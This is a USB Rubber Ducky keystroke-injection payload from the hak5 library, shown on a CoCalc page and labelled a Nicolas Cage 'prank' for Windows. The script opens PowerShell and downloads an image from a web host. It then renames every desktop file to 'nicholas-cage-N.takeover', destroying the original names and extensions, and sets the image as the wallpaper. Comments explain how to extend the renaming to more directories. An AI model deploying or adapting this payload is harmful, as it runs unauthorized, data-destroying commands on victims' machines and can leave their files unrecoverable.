Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/prank/A_Cagey_Takeover/payload.txt
2968 views
1
REM Title: A_Cagey_Takeover
2
REM Author: the-jcksn
3
REM Description: Nicolas Cage themed Prank - Renames all files on desktop as "nicholas-cage-1.takeover", incrementing the digit. Then sets background image to nicholas cage breaking through the screen. Can be expanded to remane files in further directories if required.
4
REM Target: Windows / Powershell
5
REM Version: 1.0
6
REM Category: Prank
7
8
REM ~~~~~ TO DESTROY FURTHER FILENAMES: Copy everything from line 23 to 28, and paste in the space provided, changing the target directory name.
9
REM ~~~~~ CAN RUN SCRIPT 'AS IS' (WITHOUT CHANGES) - Will just attack files on the desktop
10
REM ~~~~~ Use responsibly and within the confines of the law. This script renames files AND extensions and can result in being unable to access files if you don't know which file was which. I accept no responsibility for any loss of files or any other consequences. Use at your own risk.
11
DELAY 1000
12
GUI r
13
DELAY 200
14
STRING powershell
15
ENTER
16
DELAY 200
17
STRING Invoke-WebRequest -Uri https://wallpapercave.com/wp/GVO9gKu.jpg -OutFile Desktop\nickcage.jpg
18
ENTER
19
DELAY 1000
20
21
REM ~~~~~~~~~~ REPEAT THE BELOW LINES IF YOU WANT TO NICK TO TAKEOVER FURTHER DIRECTORIES, CHANGING "cd Desktop" TO THE DIRECTORY REQUIRED ~~~~~~~~~~
22
23
STRING cd Desktop
24
ENTER
25
DELAY 200
26
STRING dir | %{Rename-Item $_ -NewName ("nicholas-cage-{0}.takeover" -f $nr++)}
27
ENTER
28
DELAY 200
29
30
REM ~~~~~~~~~~ END OF LINES TO REPEAT ~~~~~~~~~~
31
32
REM SPACE TO PASTE FURTHER TAKEOVERS (YOU CAN DELETE THIS LINE IF DESIRED)
33
34
REM ~~~~~~~~~~ BACK TO BUSINESS, DONT CHANGE ANYTHING BELOW THIS ~~~~~~~~~~
35
STRING exit
36
ENTER
37
DELAY 200
38
GUI r
39
DELAY 200
40
STRING Desktop
41
ENTER
42
DELAY 200
43
CTRL f
44
DELAY 500
45
STRING nickcage
46
ENTER
47
DELAY 800
48
TAB
49
DELAY 200
50
SPACE
51
DELAY 200
52
MENU
53
DELAY 200
54
STRING b
55
DELAY 200
56
ALT F4
57
58